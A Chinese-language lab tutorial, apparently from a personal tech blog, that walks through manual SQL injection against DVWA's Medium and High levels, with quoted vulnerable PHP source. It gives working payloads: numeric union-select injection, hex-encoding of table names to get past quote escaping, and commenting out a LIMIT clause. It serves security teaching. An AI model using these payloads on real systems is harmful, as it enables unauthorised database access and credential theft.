大白话之从零讲解DVWA(贰)-SQL注入(SQL Injection) Medium/High Level

前言

本章我们将进行MediumHigh等级的DVWA SQL Injection手工注入。

如没看过第一章,请点我跳转

阅读本篇文章前,你需要了解下面的知识:

  • 转义字符在PHP中的作用
  • MySQL:LIMIT语句的作用与用法

Medium Level SQL注入

和初级一样,我们输入如下语句:

1' order by 2 # 

但得到了如下结果:

`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`

返回页面,点击右下角的View Source阅读源码,我们会发现:

$id = mysql_real_escape_string($id);

出现了一个初级没有的方法:
mysql_real_escape_string将字符串中的:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

进行了转义的处理,而我们使用的单引号被从'转义为了\',所以注入语句无法执行。

换个思路,如果我们不使用单引号呢?

组建语句:

1 order by 2 # 

返回结果:

ID: 1 order by 2 # 
First name: admin
Surname: admin

运气不错!但为什么会这样呢?

源码比对

对比低级中级的SQL执行语句:

低级:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

中级:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号单独转换$id为字符串,所以被称为数字型注入。

实例测试

假设注入语句:

1' order by 2 # 

注入到低级语句,组成语句:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '

我们可以看到,虽然多出了一个单引号,但我们使用#将其注释,所以#后面的不生效,语句成立。

注入到中级语句时,单引号会被过滤,语句无效。

再试试中级的注入语句1 order by 2 #注入到中级语句:

SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2

没有单引号的干扰,语句可以正常执行。

目前已知可渗透条件

  1. 语句执行方法:1 [SQL语句] #
  2. 如要使用union联合查询,必须返回两列,否则将报错。

Have a try

你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:

Trouble shooting

  • 测试语句中字符串的引号被转义
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 

这本应该是一条正确的语句,但'users'无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。

Python中输入如下命令:

import binascii
print binascii.b2a_hex('users')

这会将users转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。

返回结果:

>>> import binascii
>>> print binascii.b2a_hex('users')
7573657273

7573657273便是users转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。

7573657273会被MySQL识别为整数,我们需要将它包装0x7573657273才能被正常识别为16进制。

组成语句:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

得到返回结果:

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
First name: admin  
Surname: admin

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
First name: 1  
Surname: user_id,first_name,last_name,user,password,avatar

成功!

High Level SQL注入

阅读源码:

<?php      
  
if (isset($_GET['Submit'])) {  
  
    // Retrieve data  
  
    $id = $_GET['id'];  
    $id = stripslashes($id);  
    $id = mysql_real_escape_string($id);  
  
    if (is_numeric($id)){  
  
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";  
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );  
  
        $num = mysql_numrows($result);  
  
        $i=0;  
  
        while ($i < $num) {  
  
            $first = mysql_result($result,$i,"first_name");  
            $last = mysql_result($result,$i,"last_name");  
              
            echo '<pre>';  
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;  
            echo '</pre>';  
  
            $i++;  
        }  
    }  
}  
?>

这里使用的是DVWA1.8版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。

我们可以看到,它既封堵了分号的BUG,又同时将:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

数字型注入漏洞封堵了。所以该等级我换了一个版本的DVWA作演示:

DVWA1.9 - High Level源码:

<?php  
  
if( isset( $_SESSION [ 'id' ] ) ) {  
// Get input  
$id = $_SESSION[ 'id' ];  
  
// Check database  
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";  
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );  
  
// Get results  
$num = mysql_numrows( $result );  
$i   = 0;  
    while( $i < $num ) {  
// Get values  
$first = mysql_result( $result, $i, "first_name" );  
$last  = mysql_result( $result, $i, "last_name" );  
  
// Feedback for end user  
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";  
  
// Increase loop count  
$i++;  
    }  
  
mysql_close();  
}  
  
?>

通过和中级的对比,我们可以看到多出了LIMIT 1的限制,它限制只输出一条结果。但由于我们使用了#进行注释,所以使用中级的方法就可以保证LIMIT 1不被执行。

后语

本文通过DVWA讲述了手工SQL注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。

如转载请在文章尾部添加

原作者来自 adlered 个人技术博客:https://www.stackoverflow.wiki/

评论

取消